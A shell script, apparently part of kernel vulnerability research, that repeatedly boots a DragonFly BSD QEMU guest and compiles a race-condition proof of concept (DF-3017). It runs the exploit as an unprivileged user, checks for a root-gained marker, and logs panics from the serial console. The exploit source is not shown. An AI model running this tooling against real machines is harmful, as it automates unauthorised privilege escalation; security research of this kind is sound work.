#!/bin/sh
# Retry driver on the forensic (gdbstub) VM: fresh overlay per attempt,
# run the chain, classify outcome (WIN / panic mode / timeout).
set -u
cd /home/maxx/dfbsd/dfbsd
KEY=dfbsd-qemu/id_ed25519_dfbsd
SSH="-F /dev/null -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i $KEY"
LOG=findings/poc/DF-3017/run_chain.log
N=${1:-5}
SECS=${2:-200}

attempt=0
while [ "$attempt" -lt "$N" ]; do
	attempt=$((attempt + 1))
	echo "=== forensic attempt $attempt $(date -u +%H:%M:%S) ===" | tee -a "$LOG"

	kill $(cat /tmp/opencode/df3017-f.pid 2>/dev/null) 2>/dev/null
	sleep 2
	ps ax | grep df3017-forensic | grep -v grep | awk '{print $1}' | xargs -r kill -9 2>/dev/null
	sleep 2
	rm -f /tmp/opencode/df3017-forensic.qcow2
	(cd dfbsd-qemu && ./forensic.sh) >/dev/null 2>&1
	up=0; i=0
	while [ $i -lt 60 ]; do
		if ssh -o ConnectTimeout=5 -p 5533 $SSH root@127.0.0.1 true >/dev/null 2>&1; then up=1; break; fi
		sleep 3; i=$((i+3))
	done
	[ "$up" = 1 ] || { echo "boot failed" | tee -a "$LOG"; continue; }

	scp -P 5533 -q $SSH findings/poc/DF-3017/df3017c.c root@127.0.0.1:/tmp/ 2>/dev/null
	ssh -p 5533 $SSH root@127.0.0.1 'cd /tmp && cc -O2 -pthread -o dx df3017c.c && chown maxx dx && chmod 755 dx && echo BUILD_OK' >>"$LOG" 2>&1 || continue

	ssh -p 5533 $SSH maxx@127.0.0.1 'rm -f /tmp/dx.log /tmp/df3017.root /tmp/df3017.id; nohup /tmp/dx '"$SECS"' >/tmp/dx.log 2>&1 & sleep 1; echo RACING' >>"$LOG" 2>&1

	# poll for terminal state
	end=0; i=0
	while [ $i -lt $((SECS + 60)) ]; do
		m=$(ssh -o ConnectTimeout=5 -p 5533 $SSH root@127.0.0.1 'cat /tmp/df3017.root 2>/dev/null' 2>/dev/null)
		if [ -n "$m" ]; then
			echo "=== WIN on attempt $attempt: $m ===" | tee -a "$LOG"
			ssh -p 5533 $SSH root@127.0.0.1 'cat /tmp/dx.log; echo ---; cat /tmp/df3017.id; id maxx; ls -la /tmp/df3017*' >>"$LOG" 2>&1
			exit 0
		fi
		# guest dead?
		if ! ssh -o ConnectTimeout=4 -p 5533 $SSH root@127.0.0.1 true >/dev/null 2>&1; then
			sleep 5
			if ! ssh -o ConnectTimeout=4 -p 5533 $SSH root@127.0.0.1 true >/dev/null 2>&1; then
				end=1; break
			fi
		fi
		sleep 5; i=$((i+5))
	done

	# classify
	ssh -p 5533 $SSH root@127.0.0.1 'tail -4 /tmp/dx.log' >>"$LOG" 2>&1 || true
	if [ "$end" = 1 ]; then
		echo "--- attempt $attempt: guest died (panic) ---" | tee -a "$LOG"
		python3 - <<'PYEOF' >>"$LOG" 2>&1 || true
import socket, time
try:
    s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    s.connect("/tmp/opencode/df3017-serial.sock")
    s.settimeout(0.8)
    buf = b""; t0 = time.time()
    s.sendall(b"\n")
    while time.time() - t0 < 3:
        try:
            d = s.recv(65536)
            if d: buf += d
        except socket.timeout:
            pass
    print(buf.decode("utf-8", "replace")[-1000:])
    s.close()
except Exception as e:
    print("serial err", e)
PYEOF
	elif [ $i -ge $((SECS + 60)) ]; then
		echo "--- attempt $attempt: timeout (no win, no panic) ---" | tee -a "$LOG"
		ssh -p 5533 $SSH root@127.0.0.1 'tail -8 /tmp/dx.log' >>"$LOG" 2>&1 || true
	fi
done
echo "=== no win after $N attempts ===" | tee -a "$LOG"
exit 2
